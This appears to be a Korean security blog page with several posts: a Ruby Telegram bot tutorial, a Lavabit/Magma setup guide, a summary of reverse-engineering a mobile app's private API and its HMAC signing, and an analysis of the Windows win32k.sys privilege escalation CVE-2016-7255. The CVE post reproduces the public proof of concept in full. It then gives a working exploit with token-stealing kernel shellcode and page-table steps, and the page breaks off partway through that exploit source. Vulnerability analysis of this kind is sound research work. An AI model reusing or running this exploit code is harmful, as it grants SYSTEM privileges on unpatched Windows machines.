1/30/2017

[CODING] Ruby telegram-bot 을 이용한 텔레그램 봇 만들기


안녕하세요. 하훌입니다.
오늘은 Ruby를 이용한 텔레그램 봇 만들기에 대한 이야기로 준비했습니다.
짧은 내용이지만.. 워낙 정신없이 지낸지라 이제서야 포스팅을 하게되네요.

그럼 시작해보겠습니다.




@BotFather를 이용한 신규 Bot 생성

먼저 텔레그램 내 봇들은 @BotFather를 통해 관리되고 있습니다. Father를 친구추가 한 후 봇을 생성하지면 됩니다.

대화요청을 하면 아래와 같이 Help 페이지와 시작 버튼이 존재합니다. 시작을 누르거나 /start 를 입력하면 bot에 대한 명령어를 줍니다.

/newbot으로 신규 bot을 생성해줍니다.




그다음 bot의 이름을 입력해주십니다. 이름은 꼭 뒤가 bot Bot으로 끝나야합니다.


Ruby coding to telegram-bot

먼저 API를 쉽게 다루기 위해 telegram-bot gem을 설치합니다. (python도 아마 비슷하게 있을거에요)

HaHwul #> gem install telegram-bot-ruby
Fetching: descendants_tracker-0.0.4.gem (100%)
Successfully installed descendants_tracker-0.0.4
Fetching: ice_nine-0.11.2.gem (100%)
Successfully installed ice_nine-0.11.2
Fetching: axiom-types-0.1.1.gem (100%)

HaHwul #> irb
2.1.5 :001 > require 'telegram/bot'
 => true

자 정상적으로 작동하는 것까지 확인했네요.
그럼 간단하게 코드를 짜볼까요?

require 'telegram/bot'    # lib(gem)을 로드합니다.

token = 'TOKEN'  # @BotFather에게 받은 Token 값을 넣어줍니다.
Telegram::Bot::Client.run(token) do |bot|
  bot.listen do |message|
    case message.text   # 받은 메시지 데이터를 보고  
    when '/hahwul'      # /hahwul 이 있다면 아래 명령을 수행합니다.
      bot.api.send_message(chat_id: message.chat.id, text: "Welcome Master. http://www.hahwul.com")
    end
  end
end
자 이제 코드를 실행하고 텔레그램에서 명령어를 보내봅시니다.

#> ruby bot.rb






자 잘 되지요? telegram-bot gem에 대해 찾아보시면 만들어진 API에 대한 정보를 얻을 수 있습니다. 참고해주세요~

(http://www.rubydoc.info/gems/telegram-bot-ruby/0.7.2)

Reference

http://www.rubydoc.info/gems/telegram-bot-ruby/0.7.2
Share: | Coffee Me:

1/26/2017

[HACKING] Lavabit&Magma - Encrypted Email Service (Dark Mail Alliance)

Lavabit이 돌아오다!

올 1월 20일 재미있는 소식이 하나 들려왔습니다. 바로 Lavabit의 재개 소식입니다.
2013년 Edward Snowden 사건(?)으로 인해 잠시 운영을 중단한 암호화 메일 서비스입니다. 아무래도 큰 이슈와 함께 있던 서비스이기도 하면서 강력한 암호화를 통해 메일을 도청할 수 없도록 하기에 해커들의 관심이 끊이질 않죠.

아래 lavabit 홈페이지에 보면 아래와 같이 다시 서비스를 진행한다고 명시되어 있습니다. 한번 읽어보시면 좋을 듯 싶네요.


https://lavabit.com/


What is Lavabit?

자 여기서.. Lavabit를 알고 오신 분도 있고 처음 들어보시는 분도 있을 겁니다. 간단하게 설명 드리죠. 말 그대로 암호화 메일 서비스입니다. 일명 DIME(Dark Internet Mail Environment)라고 불리는 나름의 표준 방식으로 운영되며 본문, 메타 데이터 및 네트워크 등 모든 측면에서 암호화를 적용하여 사용자에 대한 노출을 최소화합니다. 물론.. 권한 문제도 확실하게 가져가서 관리자도 볼 수 없는 구조를 가지죠.

※ DIME는 Lavabit에서 만든 별도의 프로토콜, 통신 플랫폼이라고 보시면 됩니다.

Lavabit의 3가지 Enctypt mode

1. Trustful Mode
이 모드는 일반적인 메일서비스의 기능을 수행합니다. 다른 메일과 동일하게 SMTP, POP, IMAP을 사용하지요.
기본적으로 해당 모드로 동작 시 메일서버에 대해서 신뢰한다고 보게됩니다.

2. Cautious Mode
이제부터 본격적인 암호화 모드입니다. Cautious Mode는 서버에 대한 신뢰도를 최소로 낮춥니다.
종단간 암호화기 때문에 키를 탈취할 수 있는 환경이 되거나 메모리에 접근해서 Text를 읽어온다면... 찾을 수도 있겠죠.

3. Paranoid Mode
예전에 Meterpreter shell을 paranoid mode 로 사용하는법에 대해 포스팅한적이 있습니다.
생각하신거와 같이 Lavabit에서 가장 강한 암호화이고 사용에 대한 불편함을 가져가야합니다..
(키가 전송되지 않기 때문에.. 직접 들고.., 아님 따로 주던가 해야하죠)

How to use??!

Magma 라는 Lavabit의 Opensource 프로그램을 이용하여 사용이 가능합니다.
사용에 앞서서 MySQL과 Memcached를 사용하기 때문에 미리미리 설치해줍니다.

#> apt-get install mysql-server memcached
다음 lavabit의 github에서 magma를 다운로드 받습니다.

#> git clone https://github.com/lavabit/magma

다운로드 후 INSTALL script 를 실행하여 설치하여줍니다.
인자값으로는 db 정보가 필요합니다.

#> ./INSTALL -d ~/ -u [MYSQL USER] -p [MYSQL PASSWD] -s [DB NAME]


실행 시 아래와 같은 에러가 발생하는 경우가 있습니다. 물론 mysql 이 설치되어 있는데 말이죠.

1+0 records in
1+0 records out
33 bytes (33 B) copied, 8.2437e-05 s, 400 kB/s
1+0 records in
1+0 records out
33 bytes (33 B) copied, 7.6789e-05 s, 430 kB/s
Can't find /etc/init.d/mysqld
Is mysql-server installed?

이럴때는 INSTALL script 내용을 약간 수정해줍니다.


설치하시면 정상적으로 설치될겁니다.


만약.. 직접 빌드하시고 싶다면.. 위 과정을 스킵하고 magma/dev/script 에 있는 linkup.sh 를 실행시켜줍니다.

#> magma/dev/scripts/linkup.sh
build.lib 스크립트를 통해 종속성이 걸린 것들을 모두 컴파일합니다.

#> build.lib all
그리고.. 빌드하면..

#> build.magma
#> build.check
정상 동작하는 지 확인 후 실행해줍니다.

#> check.run
#> magma.run

Reference

https://lavabit.com/
https://lavabit.com/explain-lavabit.html
https://github.com/lavabit/magma
Share: | Coffee Me:

1/20/2017

[HACKING] Tampering a Mobile software private API and HMAC(feat Toptal post)

이번 포스팅은 Toptal 쪽 내용을 리포스팅 하려다가 Android RE 관련 내용으로 직접 작성하고 인용만 하겠습니다.

This article was written in collaboration with "Toptal".

아래 글은 Python 개발자인 Nikolay Derkach 가 작성한 글로 Private API에 대한 분석, 안드로이드에 대한 분석 내용을 담고 있습니다.
요약하자면 dex2jar , jd-gui를 통한 분석과 proxy 설정을 통한 분석이죠. 한번 읽어보시면 도움 될 부분이 있을겁니다.



https://www.toptal.com/back-end/reverse-engineering-the-private-api-hacking-your-couch

오늘은 이 글 내용에 약간 더 덧붙여서 작성해볼까 합니다.

Reverse Engineering Your Software's Private API - Set Android Proxy

To implement a sniffing proxy used to reverse engineer the private API, I’ll use tool called mitmproxy. You can use any other transparent HTTPS proxy. Charles is another example with a nice GUI. To make this work we need to set up the following things:

Configure your phone’s WiFi connection default gateway to be the proxy (so that the proxy is in middle and all the packets pass through) Install proxy’s certificate on the phone (so that the client has the proxy’s public key in its trust store)

Check your proxy’s documentation about installing the certificate. Here are the instructions for mitmproxy. And here is the certificate PEM file for iOS.

To monitor intercepted HTTP requests, you simply launch mitmproxy and connect to it from your mobile phone (default port is 8080).

mitmproxy라는 툴을 이용해서 App에서 요청되는 데이터를 로깅합니다. 개인적으로는 App 분석에도 Burp suite나 Fiddler를 사용하기 때문에 여기선 개인의 취향에 따라 사용하시면 될 것 같네요.

기본적으로 Andoroid / iOS 모두 Proxy 설정을 통해서 요청되는 데이터를 보거나 변조할 수 있고,  HTTPS와 같이 SSL이 적용된 사이트에 대해서는 프록시 툴의 인증서를 모바일 디바이스에 설치하여 테스트가 가능합니다. 관련해서는 아래 링크 참고해주세요.

http://www.hahwul.com/2015/12/web-hacking-burp-suite-android-ssl_2.html

Reverse Engineering Your Software's Private API - Proguard Decompile

CFR and FernFlower worked the best for me. JD-GUI was unable to decompile some critical parts of the code and was useless, while the others were about the same in quality. Luckily, it seems that the Java code code hasn’t been obfuscated, but there are tools like ProGuard http://developer.android.com/tools/help/proguard.html to help you deobfuscate the code.

해당 글에서는 CFR과 FernFlower를 통해 난독화된 코드를 풀어나가고 있습니다. 물론 Decompile 방지가 걸린 난독화의 경우는 상황에 따라 애먹긴하죠.. (개인적으로는 코드 난독화가 더 싫어요..)

Reverse Engineering Your Software's Private API - Hacking API and HMAC!

Firstly, I’ve searched for mentions of X-CS-Url-Signature, which I’ve found in RetrofitHttpClient. One particular call seemed interesting - to EncUtils module. Digging into it, I realized that they are using HMAC SHA1. HMAC is a message authentication code which uses a cryptographic function (SHA1 in this case) to compute a hash of a message. It’s used to ensure integrity (i.e. to prevent a man in the middle from modifying the request) and authentication.

디컴파일까지 마친 후 앱 내 API에 대한 변조 과정에서 HMAC이 언급되었습니다. API 분석을 해보시면 아시겠지만 은근히 많은 서비스들이 HMAC을 적용한 통신을 하고있죠. 공격자 입장에서는 굉장히 번거로운 부분입니다. 매번 요청에 대한 서명이 발생하기 때문에 쉽게 위변조를 할 수는 없죠.

니콜라이가 생각한대로, 이런 경우에는 HMAC 키를 찾는것이 우선적입니다. 키 값은 앱 내부 어딘가에는 숨겨져 있습니다. 코드단에 있을수도 있고 native code 에 있을수도 있죠. 키를 찾는 순간 우리는 어느정도 API에 대한 제어권을 가질 수 있습니다. 변조된 API 내용에 HMAC을 통해서 재 서명하여 정상적인 요청으로 보일 수 있는거죠.

사용자 프로필 정보를 불러오는 API 일부
(https://www.toptal.com/back-end/reverse-engineering-the-private-api-hacking-your-couch)


Toptal collaboration

This post originally apperared in Toptal
(https://www.toptal.com/back-end/reverse-engineering-the-private-api-hacking-your-couch)

Reference

https://www.toptal.com/back-end/reverse-engineering-the-private-api-hacking-your-couch
http://www.hahwul.com/2015/12/web-hacking-burp-suite-android-ssl_2.html
Share: | Coffee Me:

[HACKING] Microsoft Windows Kernel Win32k.sys Local Privilege Escalation Vulnerability 분석(CVE-2016-7255/MS16-135)

오랜만에 취약점 분석을 하는 것 같습니다.
오늘은 작년에 발표되고 올해 공격코드가 공개된 Windows kenel Win32k.sys Local Privilege Escalation에 대해 보도록하겠습니다.

간략하게 정리하고 시작하겠습니다.

CVE-NUMBER: CVE-2016-7255
CVSSv3: 7.6


Microsoft Windows Kernel Win32k.sys Local Privilege Escalation Vulnerability

아무래도 Windows kernel 취약점이다보니 공격코드의 길이가 상당했습니다. 먼저 취약점에 대해 조금 찾아보기로 했습니다.
이 취약점은 윈도우 창에 관련된 취약점입니다. Win32k.sys library 내 윈도우 창의 속성을 변경할 수 있는 NtSetWindowsLongPtr() 함수에 문제가 있습니다.

NtSetWindowsLongPtr 함수는 아래와 같은 구조를 가집니다.

LONG_PTR WINAPI SetWindowLongPtr(
  _In_ HWND     hWnd,
  _In_ int      nIndex,
  _In_ LONG_PTR dwNewLong
);
취약점을 발표한 Google Security 쪽 이야기로는 GWL_STYLE이 WS_CHILD로 설정된 창 핸들러에서 index인 GWLP_ID에 대해 wind32k.sys가 system call을 통해 NtSetWindowLongPtr() 함수를 호출할 때 트리거 된다고 합니다.

요런 형태로 들어가게되겠죠.
SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId );

NtSetWindowLongPtr은 사용자 모드에서 시스템콜을 사용할 수 있는 함수입니다. 이 과정 중 유저모드에서 대상 윈도우의 spmenu 값을 임의로 바꿀 수 있습니다.
spmenu 값을 사용하는 함수 중에는 xxxNextWindow 라는 함수가 있습니다. 이 함수는 target window의 spmenu 값을 가져와서 tagMenu의 Object에 대한 포인터 값으로 사용합니다.

인자값이 VK_MENU인 경우 tagMenu Object의 fFlags 필드에 1비트를 설정하게 됩니다.
fFlags field (tagMenu.fFlags = tagMenu.fFlags|0x4)
(커널 모드에서 공격자가 제어하는 주소는 0x4와 함께 논리적으로 매긴 값으로 제어됨 / fFlags의 offset은 0x28)


NtSetWindowLongPtr에서 spmenu 필드를 GWLP_ID로 사용하고 대상 윈도우의 스타일이 WS_CHILD일 경우 어떤 체크 로직도 없이 값을 함수 인자로 사용하게됩니다.
반복적으로 xxxNextWindow를 호출해서 tagMenu Obj에 fFlags 필드에 1비트 씩 설정합니다. 아래 poc를 보면 조금 더 이해가 쉬울 것 같습니다.

Poc Analysis

이 취약점에 대한 Poc는 tinysec에서 github를 통해 제공하고 있습니다. 이외에도 python 기반 poc도 있긴합니다.
https://github.com/tinysec/public/tree/master/CVE-2016-7255

코드 전체를 보기에 앞서서 중요한 부분부터 정리하겠습니다.
테스팅 코드 내 or_address_value_4() 라는 함수가 있습니다.

int or_address_value_4(__in void* pAddress)
이 함수가 중요한 이유는.. 아까 위에서 이야기한 SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId )가 사용되는 부분이기 때문이죠.

or_address_value_4 함수 일부

    do
    {

        stWC.cbSize = sizeof(stWC);
        stWC.lpfnWndProc = DefWindowProcW;
        stWC.lpszClassName = pszClassName;
        
        if ( 0 == RegisterClassExW(&stWC) )
        {
            break;
        }

        hWndParent = CreateWindowExW( // -> 부모 창 생성
            0,
            pszClassName,
            NULL,
            WS_OVERLAPPEDWINDOW|WS_VISIBLE,
            0,
            0,
            360,
            360,
            NULL,
            NULL,
            GetModuleHandleW(NULL),
            NULL
        );

        if (NULL == hWndParent)
        {
            break;
        }

        hWndChild = CreateWindowExW(   // -> 자식 창 생성
            0,                         // hwndChild에는 CreateWindowExW를 통해 얻은 자식창의 Handle이 들어가게되고 이는 아래 SetWindowLongPtr 함수에서 사용됩니다.
            pszClassName,
            pszTitleName,
            WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
            0,
            0,
            160,
            160,
            hWndParent,
            NULL,
            GetModuleHandleW(NULL),
            NULL
        );
         [....]
        //문제의 그 함수군요.
        SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId );  // -> 2번 인자값에는 GWLP_ID로 세팅(트리거 조건)
                                                                 // -> 3번 인자값에는 함수 실행 시 받은 pAddress에서 Windows 버전에 따라 값을 뺀 데이터를 삽입
                                                                 //             pId = ( (UCHAR*)pAddress - 0x28 );  // 64bit일 시 0x28
                                                                 //             pId = ( (UCHAR*)pAddress - 0x14);   // 이외에는 0x14

아까 맨 위에서 본 트리거 부분이 있습니다. 주석으로 달아놓은 것처럼 GWLP_ID와 WS_CHILD(자식창)로 세팅합니다.
이로써 1번째 조건은 완성되었습니다. 나머지 부분은 Debug 정보 출력을 위한 부분과 SendInput를 이용한 이벤트 발생으로 보이네요.

코드 전문에 앞서 디버그 로그에 대해 약간 정리해봅니다.

kd> r
eax=ffffffeb ebx=93ad2c48 ecx=958229f0 edx=0000c035 esi=00000000 edi=958139c8
eip=94393f74 esp=89f4f9a0 ebp=89f4fa08 iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000286
win32kfull!xxxNextWindow+0x257:
94393f74 83481404        or      dword ptr [eax+14h],4 ds:0023:ffffffff=????????

위와 같은 코드 실행 시 win32kfull 내 xxxNextWindow+0x257 부분에서 에러가 발생합니다. 이는 SetWindowLongPtr() 함수로 창 속성에 대해 수정하고
아래 4개의 key 이벤트 관련 함수를 호출시켜 xxxNextWindow() 함수 호출을 유도하게 됩니다. xxxNextWindow()가 호출되는 순간 공격자는 Kernel address 내 한 비트를 수정할 수 있게되죠.

그럼 xxxNextWindow()는 어떻게 호출할 수 있을까요?
위에서 설명드렸지만 Keyboard Event 를 통해 호출할 수 있습니다. 코드에서는 아래 함수들로 정의되어있고, while loop를 돌면서 반복적으로 호출해줍니다.

_sim_key_down
_sim_key_up
_sim_alt_shift_esc
_sim_alt_shift_tab
코드 전체를 보죠.

#include <windows.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>


#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"user32.lib")

#undef DbgPrint // 디버그를 위한 함수입니다.
ULONG __cdecl DbgPrintEx( IN ULONG ComponentId, IN ULONG Level, IN PCCH Format, IN ... );
ULONG __cdecl DbgPrint(__in char* Format, ...)
{
    CHAR* pszDbgBuff = NULL;
    va_list VaList=NULL;
    ULONG ulRet = 0;

    do
    {
        pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0 ,1024 * sizeof(CHAR));
        if (NULL == pszDbgBuff)
        {
            break;
        }
        RtlZeroMemory(pszDbgBuff,1024 * sizeof(CHAR));

        va_start(VaList,Format);

        _vsnprintf((CHAR*)pszDbgBuff,1024 - 1,Format,VaList);

        DbgPrintEx(77 , 0 , pszDbgBuff );
        OutputDebugStringA(pszDbgBuff);

        va_end(VaList);

    } while (FALSE);

    if (NULL != pszDbgBuff)
    {
        HeapFree( GetProcessHeap(), 0 , pszDbgBuff );
        pszDbgBuff = NULL;
    }

    return ulRet;
}


 int _sim_key_down(WORD wKey) //xxxNextWindow() 함수 호출을 위한 함수
 {
     INPUT stInput = {0};

     do
     {
         stInput.type = INPUT_KEYBOARD;
         stInput.ki.wVk = wKey;
         stInput.ki.dwFlags = 0;

         SendInput(1 , &stInput , sizeof(stInput) );

     } while (FALSE);

     return 0;
}

 int _sim_key_up(WORD wKey)//xxxNextWindow() 함수 호출을 위한 함수
 {
     INPUT stInput = {0};

     do
     {
         stInput.type = INPUT_KEYBOARD;
         stInput.ki.wVk = wKey;
         stInput.ki.dwFlags = KEYEVENTF_KEYUP;

         SendInput(1 , &stInput , sizeof(stInput) );

     } while (FALSE);

     return 0;
}

 int _sim_alt_shift_esc()
 {
     int i = 0;

     do
     {
         _sim_key_down( VK_MENU );  // tagMenu object내 fFlags 필드 설정을 위해 VK_MENU를 인자로 넘겨줌
         _sim_key_down( VK_SHIFT ); 


        _sim_key_down( VK_ESCAPE);
        _sim_key_up( VK_ESCAPE);

        _sim_key_down( VK_ESCAPE);
        _sim_key_up( VK_ESCAPE);

         _sim_key_up( VK_MENU );
         _sim_key_up( VK_SHIFT );       


     } while (FALSE);

     return 0;
}



 int _sim_alt_shift_tab(int nCount)
 {
     int i = 0;
     HWND hWnd = NULL;


     int nFinalRet = -1;

     do
     {
         _sim_key_down( VK_MENU ); // tagMenu object내 fFlags 필드 설정을 위해 VK_MENU를 인자로 넘겨줌
         _sim_key_down( VK_SHIFT ); 


         for ( i = 0; i < nCount ; i++)
         {
             _sim_key_down( VK_TAB);
             _sim_key_up( VK_TAB);

             Sleep(1000);

         }


        _sim_key_up( VK_MENU );
         _sim_key_up( VK_SHIFT );   
     } while (FALSE);

     return nFinalRet;
}



int or_address_value_4(__in void* pAddress)

    WNDCLASSEXW stWC = {0};

    HWND    hWndParent = NULL;
    HWND    hWndChild = NULL;

    WCHAR*  pszClassName = L"cve-2016-7255";
    WCHAR*  pszTitleName = L"cve-2016-7255";

    void*   pId = NULL;
    MSG     stMsg = {0};

    do
    {

        stWC.cbSize = sizeof(stWC);
        stWC.lpfnWndProc = DefWindowProcW;
        stWC.lpszClassName = pszClassName;

        if ( 0 == RegisterClassExW(&stWC) )
        {
            break;
        }

        hWndParent = CreateWindowExW( // 부모창 생성
            0,
            pszClassName,
            NULL,
            WS_OVERLAPPEDWINDOW|WS_VISIBLE,
            0,
            0,
            360,
            360,
            NULL,
            NULL,
            GetModuleHandleW(NULL),
            NULL
        );

        if (NULL == hWndParent)
        {
            break;
        }

        hWndChild = CreateWindowExW( // 자식창 생성
            0,
            pszClassName,
            pszTitleName,
            WS_OVERLAPPEDWINDOW|WS_VISIBLE|WS_CHILD,
            0,
            0,
            160,
            160,
            hWndParent,
            NULL,
            GetModuleHandleW(NULL),
            NULL
        );

        if (NULL == hWndChild)
        {
            break;
        }

        #ifdef _WIN64
            pId = ( (UCHAR*)pAddress - 0x28 );  // OS 버전 별 fFlags Offset 만큼 빼줌 > 64비트 기준으로 0x28
        #else
            pId = ( (UCHAR*)pAddress - 0x14);
        #endif // #ifdef _WIN64

        SetWindowLongPtr(hWndChild , GWLP_ID , (LONG_PTR)pId ); // 취약점 트리거 1

        DbgPrint("hWndChild = 0x%p\n" , hWndChild);
        DebugBreak();

        ShowWindow(hWndParent , SW_SHOWNORMAL);

        SetParent(hWndChild , GetDesktopWindow() );

        SetForegroundWindow(hWndChild);

        _sim_alt_shift_tab(4); // 취약점 트리거 2

        SwitchToThisWindow(hWndChild , TRUE);

        _sim_alt_shift_esc(); // 취약점 트리거 2


        while( GetMessage(&stMsg , NULL , 0 , 0) )
        {  
            TranslateMessage(&stMsg);
            DispatchMessage(&stMsg);
        }


    } while (FALSE);

    if ( NULL != hWndParent )
    {
        DestroyWindow(hWndParent);
        hWndParent = NULL;
    }

    if ( NULL != hWndChild )
    {
        DestroyWindow(hWndChild);
        hWndChild = NULL;
    }

    UnregisterClassW(pszClassName , GetModuleHandleW(NULL) );

    return 0;
}

int __cdecl wmain(int nArgc, WCHAR** Argv)
{
    do
    {
        or_address_value_4( (void*)0xFFFFFFFF ); // 설정할 값을 인자로 넘겨줌
    } while (FALSE);

    return 0;
}

위 코드가 실행될 때 아래와 같은 흐름이 발생합니다.

ASM Log

kd> g
hWndChild = 0x000A0402
Break instruction exception - code 80000003 (first chance)
001b:7557d352 cc              int     3
kd> .reload /f win32kbase.sys
kd> .reload /f win32kfull.sys
kd> .reload /f symhelp.sys
kd> .load jswd
kd> !js D:\root\WorkCode\jswd_script\syn\hwnd.js 0x000A0402
[hWnd] 0x000a0402 -> [pWnd] 0x958139c8

kd> dt win32kfull!tagWND spmenu 0x958139c8
   +0x078 spmenu : 0xffffffeb tagMENU
kd> ba r 4 0x958139c8+ 0x078
kd> g
Breakpoint 0 hit
win32kfull!xxxNextWindow+0x253:
94393f70 85c0            test    eax,eax
kd> r
eax=ffffffeb ebx=93ad2c48 ecx=958229f0 edx=0000c035 esi=00000000 edi=958139c8
eip=94393f70 esp=89f4f9a0 ebp=89f4fa08 iopl=0         nv up ei pl nz na po nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000202
win32kfull!xxxNextWindow+0x253:
94393f70 85c0            test    eax,eax
kd> t
win32kfull!xxxNextWindow+0x255:
94393f72 7404            je      win32kfull!xxxNextWindow+0x25b (94393f78)
kd> t
win32kfull!xxxNextWindow+0x257:
94393f74 83481404        or      dword ptr [eax+14h],4
kd> r
eax=ffffffeb ebx=93ad2c48 ecx=958229f0 edx=0000c035 esi=00000000 edi=958139c8
eip=94393f74 esp=89f4f9a0 ebp=89f4fa08 iopl=0         nv up ei ng nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000286
win32kfull!xxxNextWindow+0x257:
94393f74 83481404        or      dword ptr [eax+14h],4 ds:0023:ffffffff=????????
https://ricklarabee.blogspot.com/2017/01/virtual-memory-page-tables-and-one-bit.html

or_address_value_4( (void*)0xFFFFFFFF ); 인자로 준 0xFFFFFFFF 값이 세팅이되고, 프로그램이 0xFFFFFFFF 에 접근하지만 수정된 메모리이기 때문에 값을 읽어올 수 없어 에러가 발생합니다.

Exploit code

자 우리가 살펴본 내용으로 어느정도 동작 방식은 파악했습니다. 위에 루틴대로라면 커널 주소의 일부를 수정할 수 있기 때문에 원하는 코드를 메모리에 올리고
해당 메모리를 가리켜 쉘코드를 실행할 수 있게되죠. 공개된 공격코드는 아래와 같은 순서로 공격을 수행합니다.

Exploitation Steps
1. 취약점을 이용하고 Self-Ref 내 U/S bit를 뒤집음
2. spurios entry를 사용하는 free PML4E를 찾음
3. 찾은 spurios entry 를 가지고 HAL's Heap 의 PTE를 읽음
4. spurios entry를 이용하여 shell code를 HAL's Heap 내 free 영역에 삽입
5. 해당 PTE의 spurios entry를 통해 NX를 Turn off한 후 HalpApicInterruptController pointer에 쉘코드를 Overwrite 함

공격코드는 KASLR Timing Attack을 이용하였고 KASLR Timing Attack은 Memory Disclosure 같은 info leak은 필요하지 않고 Double Page Fault를 사용해서 페이지가 매핑되었는지 확인합니다. 자세한건 찾아보시면 좋을 것 같습니다.

부분부분 주석을 달아놓긴 했는데.. 많이 모자라네요.

#include <windows.h>
#include <wchar.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment(lib,"ntdll.lib")
#pragma comment(lib,"user32.lib")
#pragma comment(lib, "advapi32")

UINT64 PML4_BASE;
UINT PML4_SELF_REF_INDEX;
UINT64 PML4_SELF_REF = 0xFFFFF6FB7DBEDF68;

#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
#define GET_INDEX(va)  ( ((va >> 39) & 0x1ff ))

////////////////////////////////////////////////////////
// Define Data Types
////////////////////////////////////////////////////////
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
    PVOID  Unknown1;
    PVOID  Unknown2;
    PVOID  Base;
    ULONG  Size;
    ULONG  Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR   ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemModuleInformation = 11,
    SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS (WINAPI *NtQuerySystemInformation_t)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
                                                        OUT PVOID                   SystemInformation,
                                                        IN ULONG                    SystemInformationLength,
                                                        OUT PULONG ReturnLength);

typedef NTSTATUS (WINAPI *NtQueryIntervalProfile_t)(IN ULONG   ProfileSource,
                                                    OUT PULONG Interval);

NtQuerySystemInformation_t NtQuerySystemInformation;
NtQueryIntervalProfile_t NtQueryIntervalProfile;
                  
char shellcode[] = {  // Shell코드
    //0xcc,
    0xfa,                                                           // CLI
    0x9c,                                                           // PUSHFQ
    0x48, 0xb8, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90,     // MOV RAX, Original Pointer
    0x50,                                                           // PUSH RAX
    0x51,                                                           // PUSH RCX
    0x48, 0xb9, 0x90, 0x90, 0x90 ,0x90 ,0x90, 0x90, 0x90, 0x90,     // MOV RCX, [OverwriteAddr+OverwriteOffset]
    0x48, 0x89, 0x01,                                               // MOV    QWORD PTR [RCX], RAX
    0xb9, 0x90, 0x90, 0x90, 0x90,                                   // MOV ECX, PID
    0x53,                                                           // PUSH RBX

    0x65, 0x48, 0x8B, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00,           // MOV    RAX,QWORD PTR gs:0x188
    0x48, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00,                       // MOV    RAX,QWORD PTR [RAX+0xb8] EPROCESS
    0x48, 0x8d, 0x80, 0x90, 0x90, 0x00, 0x00,                       // LEA    RAX,[RAX+0xActiveProcessLinkOffset]
    //<tag>
    0x48, 0x8b, 0x00,                                               // MOV    RAX,QWORD PTR [RAX]
    0x48, 0x8b, 0x58, 0xf8,                                         // MOV    RBX,QWORD PTR [RAX-0x8] // UniqueProcessID
    0x48, 0x83, 0xfb, 0x04,                                         // CMP    RBX,0x4
    0x75, 0xf3,                                                     // JNE    <tag>
    0x48, 0x8b, 0x98, 0x90, 0x90, 0x90, 0x90,                       // MOV    RBX, QWORD PTR [RAX+0x60] // GET TOKEN of SYSTEM

    0x53,                                                           // PUSH RBX
    //<tag2>
    0x48, 0x8b, 0x00,                                               // MOV    RAX,QWORD PTR [RAX]
    0x48, 0x8b, 0x58, 0xf8,                                         // MOV    RBX,QWORD PTR [RAX-0x8] // UniqueProcessID
    0x39, 0xcb,                                                     // CMP    EBX, ECX // our PID
    0x75, 0xf5,                                                     // JNE    <tag2>
    0x5b,                                                           // POP RBX
    0x48, 0x89, 0x98, 0x90, 0x90, 0x90, 0x90,                       // MOV    QWORD PTR[RAX + 0x60], RBX

    0x5b, // POP RBX
    0x59, // POP RCX
    0x58, // POP RAX
    0x9d, // POPFQ

    0xfb, // STI
    0xff, 0xe0 // JMP RAX
};

ULONG __cdecl DbgPrint(__in char* Format, ...) //Debug 출력
{
    CHAR* pszDbgBuff = NULL;
    va_list VaList = NULL;
    ULONG ulRet = 0;

    do
    {
        pszDbgBuff = (CHAR*)HeapAlloc(GetProcessHeap(), 0, 1024 * sizeof(CHAR));
        if (NULL == pszDbgBuff)
        {
            break;
        }
        RtlZeroMemory(pszDbgBuff, 1024 * sizeof(CHAR));

        va_start(VaList, Format);

        _vsnprintf((CHAR*)pszDbgBuff, 1024 - 1, Format, VaList);


        OutputDebugStringA(pszDbgBuff);

        va_end(VaList);

    } while (FALSE);

    if (NULL != pszDbgBuff)
    {
        HeapFree(GetProcessHeap(), 0, pszDbgBuff);
        pszDbgBuff = NULL;
    }

    return ulRet;
}


int _sim_key_down(WORD wKey) // xxxNextWindow()를 트리거하기 위한 함수들
{
    INPUT stInput = { 0 };

    do
    {
        stInput.type = INPUT_KEYBOARD;
        stInput.ki.wVk = wKey;
        stInput.ki.dwFlags = 0;

        SendInput(1, &stInput, sizeof(stInput));

    } while (FALSE);

    return 0;
}

int _sim_key_up(WORD wKey)
{
    INPUT stInput = { 0 };

    do
    {
        stInput.type = INPUT_KEYBOARD;
        stInput.ki.wVk = wKey;
        stInput.ki.dwFlags = KEYEVENTF_KEYUP;

        SendInput(1, &stInput, sizeof(stInput));

    } while (FALSE);

    return 0;
}

int _sim_alt_shift_esc()
{
    int i = 0;

    do
    {
        _sim_key_down(VK_MENU);
        _sim_key_down(VK_SHIFT);


        _sim_key_down(VK_ESCAPE);
        _sim_key_up(VK_ESCAPE);

        _sim_key_down(VK_ESCAPE);
        _sim_key_up(VK_ESCAPE);

        _sim_key_up(VK_MENU);
        _sim_key_up(VK_SHIFT);


    } while (FALSE);

    return 0;
}



int _sim_alt_shift_tab(int nCount)
{
    int i = 0;
    HWND hWnd = NULL;


    int nFinalRet = -1;

    do
    {
        _sim_key_down(VK_MENU);
        _sim_key_down(VK_SHIFT);


